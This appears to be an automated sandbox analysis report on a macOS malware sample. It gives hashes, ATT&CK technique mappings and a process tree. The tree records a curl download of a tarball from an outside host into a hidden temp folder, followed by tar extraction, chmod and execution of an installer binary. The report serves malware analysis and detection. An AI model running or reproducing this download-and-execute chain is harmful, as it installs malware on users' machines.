b850cd121b76d1b1610a05fde0c7a11e3169f545617a5a5b0e7c440bd7b30944

Analysis

max time kernel
46s
max time network
159s
platform
macos-10.15_amd64
resource
macos-20241106-en
resource tags

arch:amd64arch:i386image:macos-20241106-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
17/02/2025, 18:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
Size

48KB
MD5

459d79d4f2199bdcb5a37f4701366a43
SHA1

1a3f14be4337347a85b179a1075c2c0f540b9f56
SHA256

0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
SHA512

6163b085ad809e27269c6a5dffc30111bd93d5e043788ca055df3c5a98515fb5f398f60003033357288e21ad903ab34020bd43a9b4d0c8740a9f5dbc21e88d89
SSDEEP

1536:S2ruNS0YoPzzplpK/cCa0wevAMLCo+wl:NuNS0YC2/cS5dLCcl

Score

7^/10

defense_evasion execution exfiltration

Malware Config

Signatures

Exfiltration Over Alternative Protocol 1 TTPs 1 IoCs

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

exfiltration

Exfiltration Over Unencrypted Non-C2 Protocol

T1048.003

ioc	Process
/usr/bin/curl -qsL -m 1200 "http://bghui.storeyourstreams.xyz/tr/ioffers.tar.gz?ts=1739844981" -o /private/tmp/.mmstmp//stmp.tar.gz	Process not Found

File Permission 1 TTPs
Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Resource Forking 1 TTPs 1 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

defense_evasion

Resource Forking

T1564.009

ioc	Process
/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -	Process not Found

Command and Scripting Interpreter 1 TTPs
Adversaries may abuse Unix shell commands and scripts for execution.
execution

Unix Shell
T1059.004

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb\""
1⤵
PID:482

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb\""
1⤵
PID:482

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
1⤵
PID:482
- /bin/zsh
  /bin/zsh -c /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
  2⤵
  PID:483
- /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
  /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
  2⤵
  PID:483
- - /usr/bin/python
    /usr/bin/python -
    3⤵
    PID:484
- - /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
    /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -
    3⤵
    PID:484
  - - /usr/bin/curl
      /usr/bin/curl -qsL -m 1200 "http://bghui.storeyourstreams.xyz/tr/ioffers.tar.gz?ts=1739844981" -o /private/tmp/.mmstmp//stmp.tar.gz
      4⤵
      PID:485

/bin/sh
sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
1⤵
PID:486

/bin/bash
sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
1⤵
PID:486

/usr/bin/tar
/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/
1⤵
PID:486

/bin/sh
sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
1⤵
PID:487

/bin/bash
sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
1⤵
PID:487

/bin/chmod
/bin/chmod +x /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
1⤵
PID:487

/bin/sh
sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
1⤵
PID:488

/bin/bash
sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
1⤵
PID:488

/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
1⤵
PID:488

/usr/libexec/xpcproxy
xpcproxy com.apple.nsurlstoraged
1⤵
PID:489

/usr/libexec/nsurlstoraged
/usr/libexec/nsurlstoraged --privileged
1⤵
PID:489

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hide Artifacts

T1564

Resource Forking

T1564.009

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Exfiltration Over Alternative Protocol

T1048